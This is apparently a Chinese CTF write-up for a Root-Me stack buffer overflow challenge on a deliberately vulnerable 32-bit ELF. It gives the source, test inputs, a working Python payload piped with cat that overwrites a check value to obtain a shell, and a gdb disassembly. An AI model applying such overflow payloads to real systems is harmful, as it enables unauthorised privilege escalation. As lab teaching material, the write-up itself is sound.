CTF-rootme 题解之ELF x86 - Stack buffer overflow basic 1
LINK:https://www.root-me.org/en/Challenges/App-System/ELF32-Stack-buffer-overflow-basic-1
Reference:n3k0sec.top/2018/10/11/root-me-app-system/
SouceCode:
#include <stdlib.h> #include <stdio.h> /* gcc -m32 -o ch13 ch13.c -fno-stack-protector */ int main() { int var; int check = 0x04030201; char buf[40]; //定义缓冲区长度 (buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); system("/bin/dash"); printf("Shell closed! Bye.\n"); } return 0; }
以上源代码中定义了内存分配给该程序输入的缓冲区大小为40,当我们的输入长度大于40时,就会导致缓冲区溢出,导致权限提升,执行root权限的shell。
首先运行程序输入长度为40的字符串,运行结果如下,程序提示思路正确。
app-systeme-ch13@challenge02:~$ ./ch13 0123456789012345678901234567890123456789 [buf]: 0123456789012345678901234567890123456789 [check] 0x403000a You are on the right way
重点讲一下:当测试输入长度为39个字符时,也可以导致溢出的发生。这是为什么呢?
因为此程序在我们输入一串字符串后需要点击回车换行(\r\n)才可以继续执行,输入字符串长度为39,再加上\r\n两个字符串,我们输入的长度变成了41,实际上一步输入的长度为42.
app-systeme-ch13@challenge02:~$ ./ch13 012345678901234567890123456789012345678 [buf]: 012345678901234567890123456789012345678 [check] 0x403000a You are on the right way!
C 库函数 - fgets()
描述
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
声明
下面是 fgets() 函数的声明。
char *fgets(char *str, int n, FILE *stream)
参数
- str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
- n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
- stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。
返回值
如果成功,该函数返回相同的 str 参数。如果到达文件末尾或者没有读取到任何字符,str 的内容保持不变,并返回一个空指针。
如果发生错误,返回一个空指针。
app-systeme-ch13@challenge02:~$ ./ch13 012345678901234567890123456789012345678912345 [buf]: 01234567890123456789012345678901234567891234 [check] 0x34333231
此题中使用fgets()函数来获取用户输入的最大(45-1)长度即44个字符长度的字符串,分析发现check的结果是这44个字符最后4位倒序排列后转换为16进制得到的
此时查看源代码会发现当check == 0xdeadbeef时会以root权限运行/bin/dash,解体法案如下:
方案 1:
使用python构造字符串输入:python -c "print 'a'*40+'DEADBEEF'.decode('hex')" 得到符合check结果为DEADBEEF的字符串
payload:(python -c 'print "a"*40+"DEADBEEF".decode("hex")[::-1]';cat) | ./ch13
不加;cat的话shell会直接退出,因为system(‘/bin/dash’)读到了stdin中的EOF,通过cat占用输入流即可.
方案 2:
app-systeme-ch13@challenge02:~$gdb -q ch13
(gdb) set disassembly-flavor intel //将汇编设定为intel风格; (gdb) disassemble main //反汇编main函数; Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0x40 0x0804849d <+9>: mov DWORD PTR [esp+0x3c],0x4030201 0x080484a5 <+17>: mov eax,ds:0x804a020 0x080484aa <+22>: mov DWORD PTR [esp+0x8],eax 0x080484ae <+26>: mov DWORD PTR [esp+0x4],0x2d 0x080484b6 <+34>: lea eax,[esp+0x14] 0x080484ba <+38>: mov DWORD PTR [esp],eax 0x080484bd <+41>: call 0x8048390 <fgets@plt> 0x080484c2 <+46>: mov eax,0x8048620 0x080484c7 <+51>: lea edx,[esp+0x14] 0x080484cb <+55>: mov DWORD PTR [esp+0x4],edx 0x080484cf <+59>: mov DWORD PTR [esp],eax 0x080484d2 <+62>: call 0x8048380 <printf@plt> 0x080484d7 <+67>: mov eax,0x804862c 0x080484dc <+72>: mov edx,DWORD PTR [esp+0x3c] 0x080484e0 <+76>: mov DWORD PTR [esp+0x4],edx 0x080484e4 <+80>: mov DWORD PTR [esp],eax 0x080484e7 <+83>: call 0x8048380 <printf@plt> 0x080484ec <+88>: cmp DWORD PTR [esp+0x3c],0x4030201 0x080484f4 <+96>: je 0x804850c <main+120> 0x080484f6 <+98>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x080484fe <+106>: je 0x804850c <main+120> 0x08048500 <+108>: mov DWORD PTR [esp],0x8048638 0x08048507 <+115>: call 0x80483a0 <puts@plt> 0x0804850c <+120>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x08048514 <+128>: jne 0x804853a <main+166> ---Type <return> to continue, or q <return> to quit--- 0x08048516 <+130>: mov DWORD PTR [esp],0x8048654 0x0804851d <+137>: call 0x80483a0 <puts@plt> 0x08048522 <+142>: mov DWORD PTR [esp],0x804867e 0x08048529 <+149>: call 0x80483b0 <system@plt> 0x0804852e <+154>: mov DWORD PTR [esp],0x8048688 0x08048535 <+161>: call 0x80483a0 <puts@plt> 0x0804853a <+166>: mov eax,0x0 0x0804853f <+171>: leave 0x08048540 <+172>: ret End of assembler dump.